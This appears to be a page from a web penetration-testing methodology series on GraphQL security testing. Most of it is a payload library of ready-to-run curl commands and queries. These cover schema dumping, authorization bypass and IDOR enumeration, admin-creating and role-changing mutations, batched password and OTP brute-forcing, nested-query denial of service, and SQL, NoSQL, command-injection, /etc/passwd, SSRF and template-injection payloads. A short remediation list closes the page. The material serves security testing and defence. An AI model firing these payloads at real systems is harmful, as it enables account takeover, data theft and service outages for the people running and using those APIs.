GraphQL Security Testing
Severity: High–Critical | CWE: CWE-284, CWE-200, CWE-400 OWASP: A01:2021 – Broken Access Control | A05:2021 – Security Misconfiguration
What Is GraphQL?
GraphQL is a query language for APIs where clients specify exactly what data they need. Unlike REST, GraphQL exposes a single endpoint (/graphql, /api/graphql) and allows flexible queries, mutations, and subscriptions. Security issues arise from introspection, missing authorization, batching abuse, and complex query DoS.
# Query (read):
query {
user(id: 1) { name email role }
}
# Mutation (write):
mutation {
createUser(input: {name: "attacker", role: "admin"}) { id }
}
# Subscription (real-time):
subscription {
newMessage { content sender }
}
Discovery Checklist
- Find GraphQL endpoint:
/graphql,/api/graphql,/gql,/query,/v1/graphql - Try
GET /graphql?query={__typename}— quick existence check - Check introspection:
{__schema{types{name}}}— enabled in production? - Map all types, queries, mutations via introspection
- Test missing authorization on queries (no auth required for sensitive data)
- Test IDOR on object IDs in queries
- Test mutations for privilege escalation (role field, admin flag)
- Test query batching — send array of queries:
[{query:...},{query:...}] - Test alias-based query multiplication
- Test deeply nested queries for DoS (no depth/complexity limits)
- Test introspection bypass (disabled? → try field name guessing)
- Look for debug fields:
__debug,_service,sdl - Test HTTP verb: many endpoints accept both GET and POST
- Check for
Content-Type: application/jsonvsmultipart/form-data(file upload)
Payload Library
Payload 1 — Introspection Queries
# Full schema dump:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name description locations args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind name description
fields(includeDeprecated: true) {
name description
args { ...InputValue }
type { ...TypeRef }
isDeprecated deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name description type { ...TypeRef } defaultValue
}
fragment TypeRef on __Type {
kind name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } }
}
# Quick introspection via curl:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name kind}}}"}' | python3 -m json.tool
# Get all queries and mutations:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{queryType{fields{name description args{name type{name kind}}}}}}"}' \
| python3 -m json.tool
# List all mutations:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{mutationType{fields{name description args{name type{name}}}}}}"}' \
| python3 -m json.tool
Payload 2 — Introspection Bypass Techniques
# If introspection is blocked → try alternate formats:
# Method suggestion (partial introspection):
{"query": "{__type(name: \"User\") {fields {name type {name}}}}"}
# Typename leak:
{"query": "{__typename}"}
# Field suggestion: send invalid field → error reveals valid fields
{"query": "{ user { invalidField } }"}
# Error: "Did you mean 'email'? 'username'? 'role'?"
# Disable introspection bypass via newlines (some implementations):
{"query": "{\n __schema\n{\ntypes\n{\nname\n}\n}\n}"}
# Via GET request (different parser path):
GET /graphql?query={__schema{types{name}}}
# Fragment-based (bypass regex filters on "__schema"):
{"query": "fragment f on __Schema { types { name } } { ...f }"}
# X-Apollo-Tracing header sometimes re-enables debug:
-H "X-Apollo-Tracing: 1"
# Playground / IDE endpoints (often unrestricted):
GET /graphiql # GraphiQL
GET /graphql/playground # Apollo Playground
GET /altair # Altair client
GET /voyager # GraphQL Voyager
Payload 3 — Authorization Testing
# Query without authentication → sensitive data?
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email role password } }"}'
# IDOR via ID enumeration:
for id in $(seq 1 50); do
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_LOW_PRIV_TOKEN" \
-d "{\"query\":\"{ user(id: $id) { id email role privateData } }\"}"
done
# Access another user's private data:
{"query": "{ user(id: 1337) { email billingAddress creditCard } }"}
# Try admin queries with user token:
{"query": "{ adminPanel { users { id email isAdmin } } }"}
{"query": "{ allUsers { nodes { id email passwordHash } } }"}
Payload 4 — Mutation Privilege Escalation
# Modify own role:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer USER_TOKEN" \
-d '{"query":"mutation { updateUser(id: \"MY_ID\", input: {role: \"admin\"}) { id role } }"}'
# Create admin user:
{"query": "mutation { createUser(input: {email: \"attacker@evil.com\", password: \"pass\", role: \"admin\", isAdmin: true}) { id } }"}
# Password reset without token:
{"query": "mutation { resetPassword(email: \"victim@corp.com\") { success } }"}
# Delete another user's data (IDOR via mutation):
{"query": "mutation { deletePost(id: \"VICTIM_POST_ID\") { success } }"}
# Mass assignment in mutation — try extra fields:
{
"query": "mutation { updateProfile(input: {name: \"test\", isAdmin: true, role: \"superadmin\", verified: true, credits: 99999}) { id name role } }"
}
Payload 5 — Batching / Brute Force via Aliases
# Query batching — send array of requests (bypasses rate limit per-request):
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '[
{"query": "mutation { login(email:\"admin@corp.com\", password:\"password1\") { token } }"},
{"query": "mutation { login(email:\"admin@corp.com\", password:\"password2\") { token } }"},
{"query": "mutation { login(email:\"admin@corp.com\", password:\"password3\") { token } }"}
]'
# Alias-based batching in single request:
mutation {
a1: login(email: "admin@corp.com", password: "password1") { token }
a2: login(email: "admin@corp.com", password: "password2") { token }
a3: login(email: "admin@corp.com", password: "password3") { token }
}
# Alias OTP brute-force (all 10000 codes in one request):
# Generate query:
python3 -c "
queries = []
for i in range(10000):
code = f'{i:04d}'
queries.append(f'a{i}: verifyOTP(code: \"{code}\") {{ valid }}')
print('mutation {\\n' + '\\n'.join(queries) + '\\n}')
" > brute_otp.graphql
Payload 6 — Query Depth / Complexity DoS
# Deeply nested query — exponential server-side resolution:
{
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
id email
}
}
}
}
}
}
}
}
# Circular fragment DoS:
fragment f1 on User { friends { ...f2 } }
fragment f2 on User { friends { ...f1 } }
{ user(id: 1) { ...f1 } }
# Field duplication:
{ user(id:1) { id id id id id id id id id id id } }
# Python generator for deep nesting:
depth = 20
query = "{ user(id: 1) { " + "friends { " * depth + "id" + " }" * depth + " }"
print(query)
Payload 7 — Information Disclosure
# Check for debug / tracing fields:
{"query": "{ __typename _service { sdl } }"} # Apollo Federation SDL
{"query": "{ _entities(representations: []) { __typename } }"} # Federation
{"query": "{ __schema { description } }"}
# Error messages revealing internals:
{"query": "{ user(id: \"' OR 1=1--\") { id } }"} # SQLi via GraphQL
{"query": "{ user(id: \"$(id)\") { id } }"} # CMDi via GraphQL
{"query": "{ fileContent(path: \"/etc/passwd\") { content } }"} # LFI via field
# Subscription enumeration:
{"query": "subscription { newUser { id email password } }"}
# Check for __resolveType disclosure:
{"query": "{ node(id: \"VXNlcjox\") { __typename ... on User { email role } } }"}
Payload 8 — GraphQL Injection (SQLi/CMDi via Resolver)
# If resolver passes args directly to SQL:
{"query": "{ user(name: \"admin' UNION SELECT password FROM users--\") { id } }"}
{"query": "{ search(query: \"test' OR '1'='1\") { results } }"}
# NoSQLi via GraphQL:
{"query": "{ users(filter: {email: {$gt: \"\"}}) { nodes { id email } } }"}
# SSRF via GraphQL URL field:
{"query": "{ importProfile(url: \"http://169.254.169.254/latest/meta-data/\") { data } }"}
{"query": "{ webhook(url: \"http://COLLABORATOR_ID.oast.pro/test\") { status } }"}
# SSTI via template field:
{"query": "{ renderEmail(template: \"{{7*7}}\") { output } }"}
Tools
# GraphQL Voyager — visual schema explorer:
# Load introspection result → visual graph of all types/relations
# InQL — Burp Suite extension (essential):
# BApp Store → InQL
# Auto-generates query templates from introspection
# Batch attack mode
# graphw00f — GraphQL engine fingerprinting:
git clone https://github.com/dolevf/graphw00f
python3 graphw00f.py -t https://target.com/graphql
# clairvoyance — schema recovery without introspection:
git clone https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt
# GraphQL cop — security audit tool:
pip3 install graphql-cop
graphql-cop -t https://target.com/graphql
# Dump full schema via introspection:
python3 -c "
import requests, json
r = requests.post('https://target.com/graphql',
json={'query': open('introspection_query.graphql').read()},
headers={'Authorization': 'Bearer TOKEN'})
print(json.dumps(r.json(), indent=2))
"
# graphql-path-enum — enumerate hidden paths:
git clone https://github.com/nicowillis/graphql-path-enum
# curl quick tests:
# Check introspection:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' | jq '.data.__schema.types[].name'
# List all queries:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{queryType{fields{name}}}}"}' | jq '.data.__schema.queryType.fields[].name'
Remediation Reference
- Disable introspection in production: configure server to block
__schemaand__typequeries - Query depth limiting: max 5–10 levels; reject deeper queries
- Query complexity limits: assign cost to each field, reject queries above threshold
- Rate limiting per operation: limit both batched arrays and aliased queries
- Authorization at resolver level: check permissions on every resolver, not just entry point
- Persistent query allowlisting: only accept pre-registered query hashes in production
- Disable batching if not required by the client application
- Input validation: treat GraphQL args as untrusted input (prevent SQL/NoSQL/CMDi injection)
Part of the Web Application Penetration Testing Methodology series.